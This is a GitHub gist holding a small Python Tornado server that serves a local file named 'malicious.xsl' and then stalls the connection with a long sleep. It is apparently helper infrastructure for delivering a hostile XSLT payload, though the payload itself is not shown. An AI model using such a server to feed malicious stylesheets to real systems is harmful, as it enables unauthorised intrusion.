Skip to content

Instantly share code, notes, and snippets.

@ProMPT120
Created November 3, 2018 15:55
Show Gist options
  • Save ProMPT120/c95bcaf0e5555d09a42f1851f0973804 to your computer and use it in GitHub Desktop.
Save ProMPT120/c95bcaf0e5555d09a42f1851f0973804 to your computer and use it in GitHub Desktop.
from tornado.ioloop import IOLoop
import tornado.web
import time
class MainHandler(tornado.web.RequestHandler):
def get(self):
with open("malicious.xsl","r") as file:
self.write(file.read())
self.flush()
time.sleep(99999)
self.finish()
if __name__ == "__main__":
application = tornado.web.Application([
(r'/', MainHandler),
])
port = 9999
application.listen(port)
print("Listening on port "+str(port))
IOLoop.instance().start()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment